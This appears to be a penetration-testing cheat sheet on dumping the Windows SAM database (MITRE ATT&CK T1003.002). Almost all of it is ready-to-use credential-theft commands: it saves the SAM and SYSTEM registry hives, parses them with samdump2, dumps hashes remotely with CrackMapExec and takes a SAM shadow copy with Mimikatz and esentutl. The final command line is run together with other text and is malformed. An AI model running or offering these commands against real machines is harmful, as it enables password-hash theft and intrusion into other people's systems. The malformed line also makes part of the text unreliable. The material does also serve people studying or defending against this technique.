Security Account Manager (SAM)
MITRE ATT&CK, Credential Access, Sub-technique T1003.002
# Manually extracting the SAM
reg save HKLM\sam sam
reg save HKLM\system system
# Analyzing extracted files
samdump2 system sam
# Dumping the SAM remotely with CrackMapExec
crackmapexec smb $ip -u $username -p $password --sam
# Dumping the SAM with Mimikatz
mimikatz lsadump::sam esentutl.exe /y /vss C:\Windows\System32\config\SAM /d c:\temp\samReferences
Last updated